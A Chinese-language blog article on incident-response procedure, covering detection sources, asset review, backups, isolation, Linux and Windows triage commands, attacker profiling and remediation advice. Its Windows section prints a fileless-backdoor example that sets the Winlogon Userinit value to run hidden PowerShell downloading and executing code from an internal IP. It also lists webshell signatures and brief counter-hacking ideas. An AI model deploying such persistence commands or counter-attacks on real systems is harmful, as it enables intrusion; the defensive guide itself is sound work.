长亭百川云 - 文章详情

应急响应之流程梳理

猎户攻防实验室

65

2024-07-13

0x00 引子

最近做了一些应急响应,在响应的时候也翻查了不少资料,发现大部分都是按照攻击来分类进行响应工作;寻摸着能不能有个一条龙的线路去进行应急响应(毕竟新手,倍感压力),于是粗略的整理了下;期间翻看了很多文章,把我认为可能用到的东西引导到了总结之中,所以本文仅为总结,非全部原创,难免谬误之处,请大家斧正,求大佬们手口留情。

0x01 事件发现

关于事件的发现,通常来源于:

1.安全设备

扫描IP 、威胁阻断、 日志审计、 病毒木马、 入侵事件、 异常流量、 暴力破解等

2.内/外部通报

如CNNVD/各SRC/HW裁判组等通报信息

3.蜜罐捕获

攻击行为、 攻击者画像

4.钓鱼监控

  • 恶意样本

  • 恶意URL

  • 恶意邮件

针对恶意邮件,可查看邮件原文,查看发件人的IP地址;X-Originating-IP即为发件人ip地址。

5.其他渠道消息来源

如QQ/微信群或其他如暗网信息等

0x02 了解涉事资产部署情况

1.部署时间

了解资产部署时间,可在后期推断日志信息,给予有利帮助

2.挂载应用

  • 应用架构

  • 服务、功能(上传功能?SQL语句维护功能?)

  • 是否存在第三接口

  • 是否存在第三方平台

3.端口、服务

开放的访问端口,部署的哪些服务

4.业务内容

业务内容是否敏感,核心业务还是边缘业务,业务使用对象是内部还是外部,是否涉及敏感数据等

5.是否开放公网访问

仅内网访问还是对外开放,确认应急范围

6.是否存在通用密码、弱口令

7.是否有维护厂商

8.是否纳入安全防护辖区

9.历史漏洞情况

通过历史漏洞情况掌握系统可靠性,并确认漏洞是否修复

10.是否有定期进行安全扫描

11.是否近期有日常维护、安全维护

12.是否安装防护软件,软件是否升级

13.是否针对热门漏洞升级补丁或修复

涉事资产所属部门

确认资产归属部门,方便情况了解及沟通

0x03 备份保护

1.系统镜像/快照

是否虚机或云机,可先镜像或快照备份,保留涉事资产镜像

2.应用程序备份

对应用程序整体备份,避免涉事环境破坏

3.数据库备份

对数据库整体备份,避免涉事环境破坏

4.后期排查中发现的可疑文件备份

备份可疑文件可为溯源等行为做信息支撑

0x04 阻断隔离处理

业务下线

有下线条件的及时进行业务下线,及时止损;

网络隔离阻断

及时对业务资产进行网络阻断隔离;

进程阻断

对发现的恶意进程等及时阻断

0x05 事件研判

5.1 Linux篇

为避免遗漏,通过以下几个方面进行研判:

5.1.1 history

通过执行

1history

1cat /root/.bash_history

命令,获取历史操作记录,检查是否有执行可疑命令

5.1.2 网络连接(端口)

通过命令查看网络连接及端口连接:

1netstat -anltp
5.1.3进程

常用命令:

1ps -ef2ps -aux

查看进程对应pid:

1pgrep -l httpd

查看pid对应进程:

1ls -ll /proc/{PID}

1file /proc/{PID}/exe

进程分析:

1lsof -p {PID}

查看进程启动时间:

1ps -p 7224 -o lstart

查看有没有可疑进程

1ps -aef | grep inetd (注:inetd 程序是一个Linux守护进程)

检测隐藏进程:

1ps -ef | awk '{print}' | sort -n |uniq >1

参考:http://cn-sec.com/archives/974710.html

5.1.4 文件:

1.查看文件时注意查看隐藏文件,如“..”开头的文件夹

1ls -lat

2.查看24小时内修改的文件

1find ./ -mtime 0 -name "*.jsp"

3.查看24小时内创建的文件

1find ./ -ctime 0 -name "*.jsp"

4.查看文件详情:

stat命令

1stat

确认系统文件是否被替换,如findwget等,查看文件信息

5.遇到无法查看的文件

lsattr 文件名/文件夹

1chattr -i

6.webshell文件查找

  • webshell特征
1Darkblade:goaction=login2JspSpy:o=login3PhpSpy:action=phpinfo4Regeorg:cmd=connect5Other:cmd=
  • 恶意函数特征
1PHP:eval(、system(、assert(2JSP:getRunTime(、 FileOutputStream(3ASP:eval(、execute(、 ExecuteGlobal(

7.后门文件

  • webshell

  • 应用程序

python打包文件:

1python3 pyinstxtractor.py *.exe
5.1.5 日志文件

1.应用系统日志

(1)中间件日志

1tomcat2nginx3apache4其他……

(2)应用系统日志

2.安全设备日志

3.操作系统日志

主要目录/var/log/

1/var/log/cron  计划任务2/var/log/maillog  邮箱3/var/log/message  系统重要日志4/var/log/btmp  错误登录日志   命令:`lastb`5/var/log/wtmp  登录、注销等日志   命令:`last`6/var/log/utmp  当前已登录用户日志   命令: `who`、`w`、`users`7/var/log/lastlog  所有用户最后一次登录时间   命令:`lastlog`
5.1.6 内存

主要内存马等,检测:

1sc javax.servlet.Servlet
5.1.7 应用部署情况相关

1.框架结构
2.网络访问控制(策略)
3.通信交互(第三方通信等)

5.1.8 历史漏洞

1.历史渗透报告
2.漏扫结果
3.是否通用程序存在CVE

5.1.9 关联资产

确认当前资产所关联的其他资产信息,包括:

1.web前端
2.web后台
3.负载
4.中间件
5.数据库
6.其他

5.1.10 恶意IP

1.IP归属
2.开放端口,对应服务 (反向渗透溯源)
3.在线态势感知结果
4.恶意域名解析情况:域名、注册邮箱、注册电话等

5.1.11 其他项

1.帐号:
(1)异常账户
(2)特权账号

UID为0 :

1awk -F: '$3==0{print $1}' /etc/passwd

(3)可远程登录的账号

1awk '/$1|$6/{print $1}' /etc/shadow

(4)其他sudo权限的账号

1more /etc/sudoers | grep -v "^#|^$" | grep "ALL=(ALL)"

(5)查看登陆多久、多少用户,负载

1uptime

2.计划任务
查看定时任务

1crontab -l

关注目录:

1/var/spool/cron/* 2/etc/crontab3/etc/cron.d/*4/etc/cron.daily/* 5/etc/cron.hourly/* 6/etc/cron.monthly/*7/etc/cron.weekly/8/etc/anacrontab9/var/spool/anacron/*

检查系统各个用户下是否存在计划任务

1cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {}

3.登录日志

1)登录成功的IP

1grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

2)爆破用户名字典

1grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1n";}'|uniq -c|sort -nr

登录成功的日期、用户名、IP

1grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

4.启动项

目录/etc/profile.d/下的shell脚本

1ls -alt /etc/profile.d/*.sh

启动脚本的链接文件

根据链接文件的名字来判断启动状态K开头表示不启动服务,S打头表示启动服务

1ls -alt /etc/rc.d/rc{*}.d

服务的启动脚本

1ls -alt   /etc/init.d/*

启动项目检查

1chkconfig --list

5.服务

6.环境变量

1env

5.2 Windows篇

5.2.1 账号

查看当前登录账户

1query user

注销用户id

1logoff {ID}

查看用户

1net user

查看用户登录情况

1net user username

检查Guest账号是否被启动

打开本地用户组

1lusrmgr.msc

注册表查看账户,确认系统是否存在隐藏账户

1HKEY_LOCAL_MACHINESAMSAMDomainsUsers\ regedit

检查影子账号,如:admin$

5.2.2 日志

windows 日志分析:

参考:http://cn-sec.com/archives/1012483.html

5.2.3 进程

msinfo32命令

1msinfo32

获取进程md5

1get-process | where path -ne $null | %{Get-FileHash $_.path -Algorithm md5}

查看进程详情

1wmic process get CreationDate,name,processid,commandline,ExecutablePath /value

pid进程对应服务

1tasklist  /FI “pid eq {pid}” /svc

其他:Process Explorer

5.2.4 网络连接

查看:

1netstat  -ano

已经成功建立的连接

1netstat -ano | findstr "ESTABLISHED"
5.2.5 启动项
1msconfig2wmic startup

注册表中启动项:

1HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun2HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunonce

注册表镜像劫持

1HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution Options

参考:http://cn-sec.com/archives/1000962.html

5.2.6 定时任务

at命令

schtasks命令

1schtasks | more2schtasks /query /fo LIST3schtasks /query /v /tn "\Microsoft\windows\Bluetooths" /fo list

计划任务清单:

1C:\Windows\System32\Tasks
5.2.7 服务

命令:

1services.msc

恶意服务检测

1Get-WmiObject win32_service |?{ $_.name -eq 'svchost.exe' -and $_.PathName -notlike  '*C:\WINDOWS\System32\svchost.exe*' -and $_.PathName -notlike '*c:\Windows\SysWOW64\svchost.exe*'} | select Name, DisplayName, State, PathName2Get-WmiObject win32_service | ?{$_.PathName -like '*svchost.exe*'} | select Name, DisplayName, @{Name="Path"; Expression={$_.PathName.split('3')[0]}} | Format-List

查看服务详情

1wmic service get name,pathname,processid,startname,status,state /value
5.2.8 文件

最近打开的文件
%UserProfile%Recent

通过hash操作文件:

(1)获取文件MD5的hash

1certutil -hashfile c:\windows\system32\cmd.exe MD5 |findstr /r "^[a-fA-F0-9]*$"

(2)查找相同hash值文件

1[array]$md5=Get-FileHash .\*.exe -Algorithm md52$md5 | Where -Property Hash -in -Value "59B18D6146A2AA066F661599C496090D","6FF97A7DABF09EBB07C157F286DC81AD"

(3)删除相同hash值文件

1[array]$md5=Get-FileHash .\*.exe -Algorithm md52$md5 | Where -Property Hash -in -Value "59B18D6146A2AA066F661599C496090D","6FF97A7DABF09EBB07C157F286DC81AD"3| Remove-Item

查找某一日期创建的文件

1forfiles /m *.exe /d +2019/2/12 /s /p c:\  /c "cmd /c echo @path @fdate @ftime" 2>nul

查看粘滞键exe  :sethc.exe文件的创建、修改时间是否正常

查看隐藏文件

1attrib -s -a -h -r {文件名}

查看放大镜exe :Magnify.exe文件的创建、修改时间是否正常

5.2.9 其他

wmi无文件后门检测

1Get-WmiObject -Namespace root\default -list | Where-Object {$_.name -Match "^[a-z]"}2Get-WmiObject -Namespace root\subscription -class commandlineeventconsumer3Get-WmiObject -Namespace root\subscription -class __eventfilter4Get-WmiObject -Namespace root\subscription -class __FilterToConsumerBinding

无文件后门实现

11、Set-ItemProperty   "HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon" -name   Userinit -value "C:Windowssystem32userinit.exe,***************"22、Set-ItemProperty   "HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon" -name   Userinit -value "C:Windowssystem32userinit.exe, powershell.exe -nop   -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.131/a'))""

SDDL隐藏维持

参考:http://cn-sec.com/archives/1000962.html

补丁查看:

1wmic qfe get hotfixid

安装软件列表

1wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product get name /FORMAT:table

快捷方式列表

1wmic PATH Win32_ShortcutFile get name

DNS缓存记录

1ipconfig /displaydns

0x06 涉及恶意文件等清理

参考查找出的恶意文件进行清理,同时记得进行备份,以备查

0x07 研判结果

7.1 攻击者画像

  • IP

  • 域名

  • shell密码/命名

  • 昵称ID

  • 手机号

  • 邮箱

  • QQ

  • 微信

  • 其他……

7.2 总结攻击事件

总结攻击事件链、路径、工具、IP、攻击手法(钓鱼、社工、web渗透、水坑、鱼叉)

7.3 总结存在漏洞的链路

如何利用多个漏洞进行攻击渗透等

7.4 总结攻击面

  • 是否横向移动

  • 影响资产数量

  • 影响数据范围(是否有数据丢失)

0x08 处置建议

8.1 已执行操作

  • 日志备份

  • 恶意文件备份

  • 恶意文件清理

  • 非法进程终止

  • 非法连接断开

  • 非法IP阻断(安全设备监控)

  • 非法创建的账号清理

  • 禁用或删除多余及可疑的账号

  • 其他……

8.2 后续建议

1.针对性建议

  • 针对攻击链路存在的风险进行处理建议

2.通用建议

  • 程序、插件、模版等版本升级、补丁修复

  • 实时监控、加强监测

  • 参看历史漏洞报告,及时修复安全风险

  • 服务器及应用程序权限最小化管理

  • 上线下删除测试账号

  • 远程连接3389/22执行IP白名单

  • 加强口令管理

  • 细分口令安全、弱口令修复

3.钓鱼邮件防范措施:

对公司来说:

1). 组织员工进行钓鱼邮件防范培训,提高全员网络空间安全防范意识;
2). 在公司内部不定期进行钓鱼邮件安全测试,及时发现问题并采取补救措施;
3). 使用高安全性邮件系统,并及时配置安全过滤机制;
4). 敦促员工安装杀毒软件,并及时更新病毒库.

对个人来说:

1). 认真学习CNCERT发布的《钓鱼邮件攻击防范指南》,做到“五要”“五不要”,增强安全防范意识;
2). 不要轻信发件人地址显示的“显示名”,遇到索要敏感信息的邮件需要及时通过电话核实;
3). 切忌轻易打开邮件中文中的短链接,谨防上当受骗,造成财物损失;
4). 安装杀毒软件,邮件附件运行前先进行病毒查杀.

0x09 附录

9.1 常用在线工具

威胁信息管理平台 (Beta):
勒索病毒引擎
反勒索病毒工具

9.2 常用本地检测工具

9.2.1 Linux
9.2.2 Windows

使用:查询用户登录情况

1LogParser.exe -i:EVT "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,5,'|') AS USERNAME,EXTRACT_TOKEN(Strings,5,'|') AS SERVICE_NAME,EXTRACT_TOKEN(Strings,5,'|') AS Client_IP FROM 'C:Userswp_bj_windowsDesktop安全.evtx' WHERE EventID=4624"2

查询登录成功的事件

1LogParser.exe -i:EVT –o:DATAGRID  "SELECT * FROM 'C:Userswp_bj_windowsDesktop安全.evtx' where EventID=4624"2

pchunter、火绒剑、auturuns 、Process Explorer、promon、D盾

Windows全日志提取工具FullEventLogView:http://www.nirsoft.net/utils/fulleventlogview-x64.zip

9.3 反制

  • mysql :获取微信id、浏览器的sqlite文件

  • 伪装vpn文件,放置网站进行下载

  • jsonp

9.4 规范指南

  • GB/T 24363-2009  《信息安全应急响应计划规范》

  • GB/Z 20985-2007 《信息安全事件管理指南》

  • GB/Z 20986-2007 《信息安全事件分类分级指南》

9.5 参考

[1] http://cn-sec.com/archives/1039136.html
[2] http://cn-sec.com/archives/498923.html

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2